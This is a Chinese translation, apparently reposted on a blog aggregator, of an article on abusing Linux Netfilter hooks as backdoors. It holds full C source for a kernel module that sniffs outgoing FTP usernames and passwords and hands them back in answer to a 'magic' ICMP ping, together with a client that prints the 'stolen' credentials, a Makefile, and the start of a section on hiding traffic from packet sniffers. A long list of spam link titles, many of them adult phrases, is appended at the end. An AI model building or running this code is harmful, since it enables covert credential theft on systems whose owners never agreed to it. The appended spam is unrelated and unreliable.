數(shù)據(jù)包跳躍。重定向目的為木馬主機(jī)指定端口的數(shù)據(jù)包到其它的IP主機(jī)和端口,并且從那臺(tái)主機(jī)發(fā)回?cái)?shù)據(jù)包到發(fā)起者。沒有進(jìn)程被派生,并且最妙的是,沒有網(wǎng)絡(luò)套接字被打開。 -- 上面描述的數(shù)據(jù)包跳躍用于與網(wǎng)絡(luò)中的關(guān)鍵系統(tǒng)以半隱蔽方式通信。例如:配置路由器等。 -- FTP/POP3/Telnet密碼嗅探器。嗅探輸出的密碼并保存相關(guān)信息,直到進(jìn)入的“魔法”數(shù)據(jù)包要求獲取它們。 以上只是一些想法的簡(jiǎn)短的列表,其中最后一個(gè)想法是我們?cè)诮酉聛淼囊还?jié)中將要真正詳細(xì)討論的。它 提供了一個(gè)很好的了解更多的深藏于核心網(wǎng)絡(luò)代碼中的函數(shù)的機(jī)會(huì)。
----[ 5.2 - 基于內(nèi)核的FTP密碼嗅探器
在這里展現(xiàn)的是一個(gè)簡(jiǎn)單的,原理性的,用做Netfilter后門的模塊。該模塊嗅探輸出的FTP數(shù)據(jù)包,查找對(duì)于一個(gè)FTP服務(wù)器一個(gè) USER于PASS命令對(duì)。當(dāng)這樣一個(gè)命令對(duì)被發(fā)現(xiàn)后,該模塊接下來將等待一個(gè)“魔法”ICMP ECHO(ping)數(shù)據(jù)包,該數(shù)據(jù)包應(yīng)當(dāng)足夠大,使其能返回服務(wù)器的IP地址、用戶名以及密碼。同時(shí)提供了一個(gè)快速的發(fā)送一個(gè)“魔法”數(shù)據(jù)包,獲取返回 然后打印返回信息的技巧。一旦用戶名/密碼對(duì)從模塊讀取后,模塊將接著查找下一對(duì)。注意,模塊每次只保存一個(gè)對(duì)。以上是簡(jiǎn)要的瀏覽,是該展示更多的細(xì)節(jié), 來看模塊如何做到這些的時(shí)候了。 當(dāng)模塊加載時(shí),模塊的init_module()函數(shù)簡(jiǎn)單的注冊(cè)了兩個(gè)Netfilter hook。第一個(gè)用于查看輸入的數(shù)據(jù)包(在NF_IP_PRE_ROUTING處),嘗試發(fā)現(xiàn)“魔法”ICMP數(shù)據(jù)包。接下來的一個(gè)用于查看離開該模塊被 安裝的主機(jī)的數(shù)據(jù)包(在NF_IP_POST_ROUTING處),這個(gè)函數(shù)正是搜索和捕獲FTP的USER和PASS數(shù)據(jù)包的地方。 cleanup_module()函數(shù)只是簡(jiǎn)單的注銷這兩個(gè)hook。 watch_out()是用于hook NF_IP_POST_ROUTING的函數(shù),查看這個(gè)函數(shù)你可以看到,它的執(zhí)行的操作非常簡(jiǎn)單。當(dāng)一個(gè)數(shù)據(jù)包進(jìn)入這個(gè)函數(shù)過后,將經(jīng)過各種檢查,以確定 它是一個(gè)FTP數(shù)據(jù)包。如果它不是一個(gè)FTP數(shù)據(jù)包,那么立即返回NF_ACCEPT。如果它是一個(gè)FTP數(shù)據(jù)包,那么該模塊進(jìn)行檢查是否已經(jīng)存在一個(gè)用 戶名/密碼對(duì)。如果存在(以have_pair的非零值標(biāo)識(shí)),那么返回NF_ACCEPT,該數(shù)據(jù)包最終能夠離開該系統(tǒng)。否則,check_ftp() 函數(shù)被調(diào)用,這是密碼提取實(shí)際發(fā)生的地方。如果沒有先前的數(shù)據(jù)包已經(jīng)被接收,那么target_ip和target_port變量應(yīng)當(dāng)被清除。 check_ftp()開始于從數(shù)據(jù)包的開始查找"USER","PASS"或"QUIT"。注意直到USER命令處理之后才處理PASS命 令。這樣做的目的是為了防止在某些情況下PASS命令先于USER命令被接收到以及在USER到達(dá)之前連接中斷而導(dǎo)致的死鎖的發(fā)生。同樣,如果QUIT命 令到達(dá)時(shí)僅有用戶名被捕獲,那么將重置操作,開始嗅探一個(gè)新的連接。當(dāng)一個(gè)USER或者PASS命令到達(dá)時(shí),如果必要完整性校驗(yàn)通過,則記錄下命令的參 數(shù)。正常運(yùn)行下,在check_ftp()函數(shù)完成之前,檢查是否已經(jīng)有了一個(gè)有效的用戶名和密碼串。如果是,則設(shè)置have_pair的值為非零并且在 當(dāng)前的用戶名/密碼對(duì)被獲取之前不會(huì)再抓取其它的用戶名或密碼。 到目前為止你已經(jīng)看到了該模塊如何安裝它自己以及如何開始搜尋待記錄的用戶名和密碼。接下來你將看到當(dāng)指定的“魔法”數(shù)據(jù)包到達(dá)時(shí)會(huì)發(fā)生什 么。在此需特別注意,因?yàn)檫@是在整個(gè)開發(fā)過程中出現(xiàn)的最大難題。如果我沒記錯(cuò)的話,共遭遇了16個(gè)核心錯(cuò)誤:)。當(dāng)數(shù)據(jù)包進(jìn)安裝該模塊的主機(jī) 時(shí),watch_in()檢查每一個(gè)數(shù)據(jù)包以查看其是否是一個(gè)“魔法”數(shù)據(jù)包。如果數(shù)據(jù)包不能提供足以證明它是一個(gè)“魔法”數(shù)據(jù)包的信息,那么它將被被 watch_in()忽略,簡(jiǎn)單的返回一個(gè)NF_ACCEPT。注意“魔法”數(shù)據(jù)包的標(biāo)準(zhǔn)之一是它們必須有足夠的空間來存放IP地址以及用戶名和密碼串。 這使得發(fā)送應(yīng)答更加容易。當(dāng)然,可以重新分配一個(gè)新的sk_buff,但是正確的獲取所有必要的域得值可能會(huì)比較困難,并且你還必須得正確的獲取它們!因 此,與其為我們的應(yīng)答數(shù)據(jù)包創(chuàng)建一個(gè)新的數(shù)據(jù)結(jié)構(gòu),不如簡(jiǎn)單的調(diào)整請(qǐng)求數(shù)據(jù)包的數(shù)據(jù)結(jié)構(gòu)。為了成功的返回?cái)?shù)據(jù)包,需要做幾個(gè)改動(dòng)。首先,交換IP地址,并 且sk_buff數(shù)據(jù)結(jié)構(gòu)中描述數(shù)據(jù)包類型的域(pkt_type)應(yīng)當(dāng)被換成PACKET_OUTGOING,這些宏在 linux/if_packet.h中定義。接下來應(yīng)當(dāng)小心的是確定包含了任意的鏈路層頭。我們接收到的數(shù)據(jù)包的sk_buff數(shù)據(jù)結(jié)構(gòu)的數(shù)據(jù)域指向鏈路 層頭之后,并且它是指向被發(fā)送的數(shù)據(jù)包的數(shù)據(jù)的開始的數(shù)據(jù)域。那么對(duì)于需要鏈路層包頭(以太網(wǎng)及環(huán)回和點(diǎn)對(duì)點(diǎn)的raw)的接口,我們將數(shù)據(jù)域指向 mac.ethernet或者mac.raw結(jié)構(gòu)。為確定這個(gè)數(shù)據(jù)包來自的什么類型的接口你可以查看sb->dev->type的值,其中 sb是一個(gè)指向sk_buff數(shù)據(jù)結(jié)構(gòu)的指針。這個(gè)域的有效值可以在linux/if_arp.h中找到,但其中最有用的幾個(gè)在下面的表3中列出。 表3 : 接口類型的常用值
類型代碼 ? ? ? ?接口類型 ARPHRD_ETHER ? ?以太網(wǎng) ARPHRD_LOOPBACK ? ?環(huán)回設(shè)備 ARPHRD_PPP ? ? ? ?點(diǎn)對(duì)點(diǎn)(例如撥號(hào))
最后,我們要做的是真正的復(fù)制我們想在的應(yīng)答中送出的數(shù)據(jù)。到送出數(shù)據(jù)包的時(shí)候了,dev_queue_xmit()函數(shù)以一個(gè)指向sk_buff數(shù)據(jù)結(jié) 構(gòu)的指針作為它唯一的參數(shù),在“好的錯(cuò)誤”情況下,返回一個(gè)負(fù)的錯(cuò)誤代碼。我所說的“好的錯(cuò)誤”是什么意思呢?如果你給函數(shù) dev_queue_xmit()一個(gè)錯(cuò)誤構(gòu)造的套接字緩沖,那么你就會(huì)得到一個(gè)伴隨著內(nèi)核錯(cuò)誤和內(nèi)核堆棧的dump信息的“不太好的錯(cuò)誤”。看看在這里 錯(cuò)誤如何能被分成兩組?最后,watch_in()返回NF_STOLEN,以告訴Netfilter忘掉它曾經(jīng)見到過這個(gè)數(shù)據(jù)包。如果你已經(jīng)調(diào)用了 dev_queue_xmit(),不要返回NF_DROP!這是因?yàn)閐ev_queue_xmit()將釋放傳遞進(jìn)來的套接字緩沖,而 Netfilter會(huì)嘗試對(duì)被NF_DROP的數(shù)據(jù)包做同樣的操作。好了。對(duì)于代碼的討論已經(jīng)足夠了,請(qǐng)看具體的代碼。 ------[ 5.2.1 - 源代碼 : nfsniff.c
<++> nfsniff/nfsniff.c

#define MODULE #define __KERNEL__
#include? #include? #include? #include? #include? #include? #include? #include? #include? #include? #include? #include? #include?
#define MAGIC_CODE ? 0x5B #define REPLY_SIZE ? 36
#define ICMP_PAYLOAD_SIZE ?(htons(sb->nh.iph->tot_len) \ - sizeof(struct iphdr) \ - sizeof(struct icmphdr))
static char *username = NULL; static char *password = NULL; static int ?have_pair = 0; ? ?
static unsigned int target_ip = 0; static unsigned short target_port = 0;
struct nf_hook_ops ?pre_hook; ? ? ? ? ? struct nf_hook_ops ?post_hook; ? ? ? ? ?

static void check_ftp(struct sk_buff *skb) { struct tcphdr *tcp; char *data; int len = 0; int i = 0; tcp = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4)); data = (char *)((int)tcp + (int)(tcp->doff * 4));
if (username) if (skb->nh.iph->daddr != target_ip || tcp->source != target_port) return; if (strncmp(data, "USER ", 5) == 0) { ? ? ? ? ? data += 5; if (username) ?return; while (*(data + i) != ‘\r‘ && *(data + i) != ‘\n‘ && *(data + i) != ‘\0‘ && i < 15) { len++; i++; } if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL) return; memset(username, 0x00, len + 2); memcpy(username, data, len); *(username + len) = ‘\0‘; ? ? ? ? ? } else if (strncmp(data, "PASS ", 5) == 0) { ? data += 5;
if (username == NULL) return; if (password) ?return; while (*(data + i) != ‘\r‘ && *(data + i) != ‘\n‘ && *(data + i) != ‘\0‘ && i < 15) { len++; i++; }
if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL) return; memset(password, 0x00, len + 2); memcpy(password, data, len); *(password + len) = ‘\0‘; ? ? ? ? ? } else if (strncmp(data, "QUIT", 4) == 0) { if (have_pair) ?return; if (username && !password) { kfree(username); username = NULL; target_port = target_ip = 0; have_pair = 0; return; } } else { return; }
if (!target_ip) target_ip = skb->nh.iph->daddr; if (!target_port) target_port = tcp->source;
if (username && password) have_pair++; ? ? ? ? ? ? ? // ? if (have_pair) // ? ? printk("Have password pair! ?U: %s ? P: %s\n", username, password); }
static unsigned int watch_out(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { struct sk_buff *sb = *skb; struct tcphdr *tcp; if (sb->nh.iph->protocol != IPPROTO_TCP) return NF_ACCEPT; ? ? ? ? ? ? ? tcp = (struct tcphdr *)((sb->data) + (sb->nh.iph->ihl * 4)); if (tcp->dest != htons(21)) return NF_ACCEPT; ? ? ? ? ? ? ? if (!have_pair) check_ftp(sb); return NF_ACCEPT; }

static unsigned int watch_in(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { struct sk_buff *sb = *skb; struct icmphdr *icmp; char *cp_data; ? ? ? ? ? ? ? unsigned int ? taddr; ? ? ? ? ?
if (!have_pair) return NF_ACCEPT; if (sb->nh.iph->protocol != IPPROTO_ICMP) return NF_ACCEPT; icmp = (struct icmphdr *)(sb->data + sb->nh.iph->ihl * 4);
if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO || ICMP_PAYLOAD_SIZE < REPLY_SIZE) { return NF_ACCEPT; } taddr = sb->nh.iph->saddr; sb->nh.iph->saddr = sb->nh.iph->daddr; sb->nh.iph->daddr = taddr;
sb->pkt_type = PACKET_OUTGOING;
switch (sb->dev->type) { case ARPHRD_PPP: ? ? ? ? ? ? ? break; case ARPHRD_LOOPBACK: case ARPHRD_ETHER: { unsigned char t_hwaddr[ETH_ALEN]; sb->data = (unsigned char *)sb->mac.ethernet; sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet); memcpy(t_hwaddr, (sb->mac.ethernet->h_dest), ETH_ALEN); memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source), ETH_ALEN); memcpy((sb->mac.ethernet->h_source), t_hwaddr, ETH_ALEN); break; } };
cp_data = (char *)((char *)icmp + sizeof(struct icmphdr)); memcpy(cp_data, &target_ip, 4); if (username) memcpy(cp_data + 4, username, 16); if (password) memcpy(cp_data + 20, password, 16); dev_queue_xmit(sb);
kfree(username); kfree(password); username = password = NULL; have_pair = 0; target_port = target_ip = 0;
// ? printk("Password retrieved\n"); return NF_STOLEN; }
int init_module() { pre_hook.hook ? ? = watch_in; pre_hook.pf ? ? ? = PF_INET; pre_hook.priority = NF_IP_PRI_FIRST; pre_hook.hooknum ?= NF_IP_PRE_ROUTING; post_hook.hook ? ? = watch_out; post_hook.pf ? ? ? = PF_INET; post_hook.priority = NF_IP_PRI_FIRST; post_hook.hooknum ?= NF_IP_POST_ROUTING; nf_register_hook(&pre_hook); nf_register_hook(&post_hook); return 0; }
void cleanup_module() { nf_unregister_hook(&post_hook); nf_unregister_hook(&pre_hook); if (password) kfree(password); if (username) kfree(username); } <-->
------[ 5.2.2 - 源代碼 : getpass.c
<++> nfsniff/getpass.c
#include? #include? #include? #include? #include? #include? #include? #include? #include?
#ifndef __USE_BSD # define __USE_BSD ? ? ? ? ? ? ? #endif # include? #include?
static unsigned short checksum(int numwords, unsigned short *buff);
int main(int argc, char *argv[]) { unsigned char dgram[256]; ? ? ? ? ? unsigned char recvbuff[256]; struct ip *iphead = (struct ip *)dgram; struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip)); struct sockaddr_in src; struct sockaddr_in addr; struct in_addr my_addr; struct in_addr serv_addr; socklen_t src_addr_size = sizeof(struct sockaddr_in); int icmp_sock = 0; int one = 1; int *ptr_one = &one; if (argc < 3) { fprintf(stderr, "Usage: ?%s remoteIP myIP\n", argv[0]); exit(1); }
if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) { fprintf(stderr, "Couldn‘t open raw socket! %s\n", strerror(errno)); exit(1); }
if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL, ptr_one, sizeof(one)) < 0) { close(icmp_sock); fprintf(stderr, "Couldn‘t set HDRINCL option! %s\n", strerror(errno)); exit(1); } addr.sin_family = AF_INET; addr.sin_addr.s_addr = inet_addr(argv[1]); my_addr.s_addr = inet_addr(argv[2]); memset(dgram, 0x00, 256); memset(recvbuff, 0x00, 256); iphead->ip_hl ?= 5; iphead->ip_v ? = 4; iphead->ip_tos = 0; iphead->ip_len = 84; iphead->ip_id ?= (unsigned short)rand(); iphead->ip_off = 0; iphead->ip_ttl = 128; iphead->ip_p ? = IPPROTO_ICMP; iphead->ip_sum = 0; iphead->ip_src = my_addr; iphead->ip_dst = addr.sin_addr; icmphead->icmp_type = ICMP_ECHO; icmphead->icmp_code = 0x5B; icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead); fprintf(stdout, "Sending request...\n"); if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) { fprintf(stderr, "\nFailed sending request! %s\n", strerror(errno)); return 0; }
fprintf(stdout, "Waiting for reply...\n"); if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src, &src_addr_size) < 0) { fprintf(stdout, "Failed getting reply packet! %s\n", strerror(errno)); close(icmp_sock); exit(1); } iphead = (struct ip *)recvbuff; icmphead = (struct icmp *)(recvbuff + sizeof(struct ip)); memcpy(&serv_addr, ((char *)icmphead + 8), sizeof (struct in_addr)); fprintf(stdout, "Stolen for ftp server %s:\n", inet_ntoa(serv_addr)); fprintf(stdout, "Username: ? ?%s\n", (char *)((char *)icmphead + 12)); fprintf(stdout, "Password: ? ?%s\n", (char *)((char *)icmphead + 28)); close(icmp_sock); return 0; }
static unsigned short checksum(int numwords, unsigned short *buff) { unsigned long sum; for(sum = 0;numwords > 0;numwords--) sum += *buff++; ? sum = (sum >> 16) + (sum & 0xFFFF); sum += (sum >> 16); return ~sum; } <-->
** 譯注:上述兩個(gè)文件的Makefile:
<++> nfsniff/Makefile #Makefile ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? # ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? CFLAGS=-Wall ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?? LIBS=-L/usr/lib -lc # Change include directory for your kernel ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?? MODULE_CFLAGS=-I/usr/src/custom/linux-2.4.18-3/include? MODULE_CFLAGS+=$(CFLAGS) ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?? EXECUTE_CFLAGS=-ggdb ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?? EXECUTE_CFLAGS+=$(CFLAGS) ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? all : nfsniff.o getpass ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? nfsniff.o : nfsniff.c ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? gcc -c nfsniff.c -o nfsniff~.o $(MODULE_CFLAGS) ld -r -o nfsniff.o nfsniff~.o $(LIBS) ? ? ? ? ? getpass.o : getpass.c ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? gcc -c getpass.c $(EXECUTE_CFLAGS) ? ? ? ? ? ?? getpass : getpass.o ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? gcc -o getpass getpass.o $(EXECUTE_CFLAGS) ? ?? clean : ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? rm -f *.o getpass ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? <-->
**譯注完
--[ 6 - 在Libpcap中隱藏網(wǎng)絡(luò)通信
這一節(jié)簡(jiǎn)短的描述,如何在修改Linux的內(nèi)核,使與匹配預(yù)先定義的條件的網(wǎng)絡(luò)通信對(duì)運(yùn)行于本機(jī)的數(shù)據(jù)包嗅探工具不可見。列在本文最后的是可以正常運(yùn)行的代碼,它實(shí)現(xiàn)了隱藏所有來自或者是去往指定的IP地址的數(shù)據(jù)包的功能。好了,讓我們開始... ----[ 6.1 - SOCK_PACKET、SOCK_RAW與Libpcap
對(duì)系統(tǒng)管理員來說,最有用的軟件莫過于哪些在廣義分類下被稱為“數(shù)據(jù)包嗅探器”的軟件了。兩個(gè)最典型的通用數(shù)據(jù)包嗅探器是 tcpdump(1)以及ethereal(1)。這兩個(gè)軟件都利用了Libpcap庫(kù)(隨著參考文獻(xiàn)[1]中的tcpdump發(fā)布)來抓取原始數(shù)據(jù)包。 網(wǎng)絡(luò)入侵檢測(cè)系統(tǒng)(NIDS)也利用了Libpcap庫(kù)。SNORT需要Libpcap,Libnids??一個(gè)提供IP重組和TCP流跟蹤的NIDS開 發(fā)庫(kù)(參見參考文獻(xiàn)[2]),也是如此。 在Linux系統(tǒng)下,Libpcap庫(kù)使用SOCK_PACKET接口。Packet套接字是一種特殊的套接字,它可以用于發(fā)生和接收鏈路層 的原始數(shù)據(jù)包。關(guān)于Paket套接字有很多話題,但是由于本節(jié)討論的是關(guān)于如何隱藏它們而不是如何利用它們,感興趣的讀者可以直接去看packet(7) 手冊(cè)頁(yè)。對(duì)于本文中的討論,只需要理解packet套接字被Libpcap應(yīng)用程序用于獲取進(jìn)入或者離開本地主機(jī)的原始數(shù)據(jù)包。 當(dāng)核心網(wǎng)絡(luò)堆棧收到一個(gè)數(shù)據(jù)包的時(shí)候,檢查該數(shù)據(jù)包是否是某個(gè)packet套接字感興趣的數(shù)據(jù)包。如果是,則將該數(shù)據(jù)遞交給那些對(duì)其感興趣的 套接字。如果不是,該數(shù)據(jù)包繼續(xù)它的旅程,進(jìn)入TCP、UDP或者其它類型的套接字。對(duì)于SOCK_RAW類型的套接字同樣如此。原始套接字很類似于 packet套接字,只是原始套接字不提供鏈路層的包頭。一個(gè)利用原始套接字的實(shí)用程序的例子是我的SYNalert程序,參見參考文獻(xiàn)[3](請(qǐng)?jiān)徫?在這兒插入的題外話 :)。 到此,你應(yīng)該已經(jīng)了解了Linux下的數(shù)據(jù)包嗅探軟件使用了Libpcap庫(kù)。Libpcap在Linux下利用packet套接字接口來獲 取包含鏈路層包頭的原始數(shù)據(jù)包。同時(shí)提到了原始套接字,它提供給用戶空間的應(yīng)用程序獲取包含IP頭的數(shù)據(jù)包的方法。下一節(jié)將討論如何通過Linux核心模 塊來隱藏來自這些packet套接字以及原始套接字的網(wǎng)絡(luò)通信。 ------[ 6.2 給狼披上羊皮
當(dāng)收到數(shù)據(jù)包并將其送到一個(gè)packet套接字時(shí),packet_rcv()函數(shù)被調(diào)用。這個(gè)函數(shù)可以在net/packet /af_packet.c中找到,packet_rcv()負(fù)責(zé)使數(shù)據(jù)包經(jīng)過所有應(yīng)用于目的套接字的套接字過濾器,并最終將其遞交到用戶空間。為了隱藏來 自packet套接字的數(shù)據(jù)包,我們需要阻止所有特定數(shù)據(jù)包調(diào)用packet_rcv()函數(shù)。我們?nèi)绾巫龅竭@一點(diǎn)?當(dāng)然是優(yōu)秀的ol式的函數(shù)劫持了。 函數(shù)劫持的基本操作是:如果我們知道一個(gè)內(nèi)核函數(shù),甚至是那些沒有被導(dǎo)出的函數(shù),的入口地址,我們可以在使實(shí)際的代碼運(yùn)行前將這個(gè)函數(shù)重定位 到其他的位置。為了達(dá)到這樣的目的,我們首先要從這個(gè)函數(shù)的開始,保存其原來的指令字節(jié),然后將它們換成跳轉(zhuǎn)到我們的代碼處執(zhí)行的絕對(duì)跳轉(zhuǎn)指令。例如以 i386匯編語(yǔ)言實(shí)現(xiàn)該操作如下: movl ?(address of our function), ?

總結(jié)

以上是生活随笔為你收集整理的Netfilter 详解的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

青青久草在线 | 成人一区二区在线观看 | 久久亚洲电影 | 欧美日韩国产免费视频 | 亚洲精品字幕 | 成人黄色在线 | 黄色一级在线视频 | 玖玖玖精品 | 人交video另类hd | 麻豆视频网址 | 麻豆视频一区 | 亚洲国产成人高清精品 | 一级一片免费视频 | 中文字幕久久精品 | 中文字幕123区 | 亚洲精品国偷拍自产在线观看蜜桃 | 成人全视频免费观看在线看 | 又黄又爽又刺激 | 99久久精品国 | 日韩一区二区免费播放 | 成片免费观看视频999 | 日本中文字幕在线一区 | 999久久久免费精品国产 | 懂色av懂色av粉嫩av分享吧 | 婷五月天激情 | 国产一性一爱一乱一交 | 亚洲狠狠婷婷 | 91亚色视频在线观看 | av电影免费在线看 | 天天摸天天操天天爽 | 国产九色在线播放九色 | 色999五月色 | 久久综合婷婷国产二区高清 | 久久久av免费 | 国产啊v在线观看 | 视频在线日韩 | 制服丝袜天堂 | 久久精品视频99 | av最新资源 | 久久久久99精品成人片三人毛片 | 激情五月色播五月 | 五月婷婷香蕉 | 亚洲 欧洲 国产 日本 综合 | 天堂素人在线 | 亚洲最新在线 | 精壮的侍卫呻吟h | 婷婷香蕉 | 亚洲美女视频在线观看 | 免费黄色a网站 | 美女黄视频免费 | 色瓜 | 免费视频网 | 日韩网站在线免费观看 | 色国产在线 | 天天射天天搞 | 中文字幕在线国产精品 | 中文视频一区二区 | 免费在线观看国产黄 | 中文字幕在线看视频国产中文版 | 999久久久国产精品 高清av免费观看 | 国产精品欧美激情在线观看 | 婷婷在线看 | 992tv在线| 一级性生活片 | 国产一区精品在线观看 | 久久免费视频网站 | 亚洲国产精品久久久久 | 一级黄色a视频 | 视频国产一区二区三区 | 国产视频观看 | 18女毛片| 九九久久免费视频 | 成人免费网视频 | 国产69久久精品成人看 | 精品国产免费一区二区三区五区 | 国产精品一区二区麻豆 | 精品国产一区二区三区四 | 91刺激视频| 久二影院 | 久亚洲精品| 欧美激情精品久久 | 国产成人免费在线观看 | 五月婷婷另类国产 | 亚洲成av人片在线观看香蕉 | 在线看av的网址 | 国产少妇在线观看 | 免费看的av片 | av免费在线网 | 五月婷婷视频在线观看 | 二区精品视频 | www视频在线播放 | 亚洲综合射 | 久久av免费 | 久久av在线播放 | 国产精品永久在线观看 | 成人亚洲网 | 在线免费看黄色 | 中文字幕在线不卡国产视频 | 国产第一页精品 | 91看片在线免费观看 | 国内精自线一二区永久 | 精品国内自产拍在线观看视频 | 亚洲精品国产精品国自产观看 | 国产精品成人一区二区 | 欧美国产精品久久久久久免费 | 免费三级大片 | 久久精品国产免费看久久精品 | 久久久久久国产精品免费 | 精品视频在线视频 | 97超碰人人澡人人爱 | 日日爱网址 | 国产高清在线 | 中文字幕在线视频一区二区 | 免费在线一区二区三区 | 日韩欧美在线中文字幕 | 九九热免费在线观看 | 亚洲精品国产精品乱码不99热 | 黄色片网站大全 | 91成人精品一区在线播放69 | 草久久久久久久 | 国产精品永久免费在线 | 最近在线中文字幕 | 亚洲视频 中文字幕 | 日韩有码在线观看视频 | 高清精品在线 | 亚洲一区美女视频在线观看免费 | 69精品久久 | 激情喷水 | 成年人视频在线免费播放 | 99热精品在线 | 亚洲欧洲日韩 | 国产美女精品视频 | 亚洲国产精品久久久久 | 国产精品视频久久 | 在线观看黄色免费视频 | 中文字幕频道 | 中文字幕日本电影 | 91精品国产乱码久久 | 99免费在线播放99久久免费 | av电影在线不卡 | 最近免费观看的电影完整版 | 一二三区视频在线 | 欧美aa一级片 | 国产精品24小时在线观看 | 亚洲国产精选 | 国产精品日韩久久久久 | 狠狠干 狠狠操 | 国产丝袜 | 日韩视频一区二区三区 | 青青五月天 | www国产亚洲精品久久网站 | 日韩在线电影一区 | 超碰在线个人 | 成人精品视频久久久久 | 超碰日韩 | 国产精品不卡视频 | 五月天综合在线 | 国产成人一区二区三区久久精品 | 久久人人爽人人爽人人片 | 激情久久综合网 | 久久久久欧美精品999 | 亚洲区精品| 日韩av免费一区二区 | 欧美伦理一区 | 狠狠狠操 | 天天综合久久综合 | 六月色丁| 日韩一区精品 | 久草精品在线 | 国产成人综合图片 | 成人在线视频在线观看 | www.五月婷婷.com | 免费在线观看av片 | 久久久久国产精品午夜一区 | 久久99久久99精品免观看粉嫩 | 欧美黑人xxxx猛性大交 | av黄色一级片 | 日韩二区精品 | 波多野结衣在线视频免费观看 | 欧美激情综合色 | aa级黄色大片 | 在线免费91 | 中文字幕亚洲国产 | 婷婷丁香在线 | 国产福利精品一区二区 | 亚洲一区二区麻豆 | 国产精品毛片一区二区三区 | 色窝资源 | 久艹视频在线免费观看 | 国产精品毛片久久久久久久 | 国产香蕉视频在线播放 | 国产伦理一区二区 | 日韩免费视频播放 | 玖玖玖精品 | 中文字幕有码在线观看 | 国产理论片在线观看 | 国产精品999久久久 久产久精国产品 | 四虎小视频 | 国产成人一区二区在线观看 | 最近最新中文字幕视频 | 在线国产精品一区 | 久久黄色美女 | 日韩欧美视频免费在线观看 | 久草香蕉在线 | 成人在线一区二区 | 香蕉国产91| 黄色影院在线观看 | 国产视频一区二区三区在线 | 最新av免费在线 | 五月丁香 | 久草在线免费资源 | 视频在线99re | av网站免费在线 | 中文字幕av在线不卡 | 免费在线成人av | 狠狠狠色丁香婷婷综合久久88 | 国产成人精品一区二区在线 | 亚洲精品999 | 九色在线视频 | 伊人黄| 久久国产精品视频 | 国产精品9999久久久久仙踪林 | 欧洲一区二区在线观看 | 久久久久久久久久久久av | 日产中文字幕 | 中文字幕成人网 | 欧美综合久久久 | 国产成人精品久久久 | 欧美色综合| 最新午夜电影 | 色资源在线 | 2018亚洲男人天堂 | 国产三级午夜理伦三级 | 国产精品美女毛片真酒店 | 日韩中文字幕91 | 中文字幕精 | 国产h在线播放 | 一级黄色片毛片 | 中国一级片在线 | 成人av av在线 | 欧美一区二区三区免费看 | 欧美一区二区在线 | 欧美激情视频一二区 | 国产成人黄色在线 | 懂色av一区二区在线播放 | 天天操天天射天天插 | 日韩精品免费在线观看视频 | 国产小视频精品 | 激情xxxx| 97香蕉久久国产在线观看 | 毛片一级免费一级 | 欧美久久久一区二区三区 | 美女在线观看网站 | 香蕉国产91| 中文字幕在线观看视频免费 | 亚洲成人av电影在线 | 欧美日韩中文字幕在线视频 | 五月天久久综合 | 综合网天天色 | 伊人狠狠色 | 久久最新视频 | 500部大龄熟乱视频使用方法 | 在线观看中文 | 久久免费观看视频 | 国产资源在线观看 | 亚洲免费小视频 | 久热av | 国产精品一区电影 | 香蕉久久久久久久 | 亚洲一级免费观看 | aa级黄色大片 | 国产91在线 | 美洲 | 国产精品免费看 | 欧美日产一区 | 久草国产精品 | 国产一级特黄毛片在线毛片 | 超碰97人人射妻 | 久草在线这里只有精品 | 婷婷久久五月天 | 亚洲欧洲精品一区二区 | 日韩女同一区二区三区在线观看 | 97精品免费视频 | 免费激情网 | 国产精品久久久久久久久久妇女 | 一区电影 | 99久久精品国产免费看不卡 | 亚洲国产精品va在线看黑人动漫 | 最近中文字幕完整高清 | 欧美最爽乱淫视频播放 | 99精品黄色片免费大全 | 日本在线观看中文字幕 | 国产字幕在线播放 | 五月亚洲婷婷 | 国产精品成人免费 | 中文字幕在线观看一区 | 国产一二区精品 | 91精品在线麻豆 | 亚洲欧美日韩在线一区二区 | 中文国产字幕在线观看 | av一级在线观看 | 欧美老人xxxx18 | a资源在线 | 国产超碰在线观看 | 久久精品理论 | 日韩中文三级 | 91激情| 精品96久久久久久中文字幕无 | 国产精品一区二区吃奶在线观看 | 麻豆播放| 成人av免费在线看 | www免费视频com━ | 91av福利视频 | 奇米7777狠狠狠琪琪视频 | 日韩最新中文字幕 | 免费在线观看不卡av | 狠狠操在线 | 国产精品自在线 | 在线观看www91 | 免费看污污视频的网站 | 蜜臀一区二区三区精品免费视频 | 探花国产在线 | 91麻豆精品国产91久久久久久久久 | 91精品视频免费看 | 91av在| 日韩动态视频 | 久久成人精品视频 | 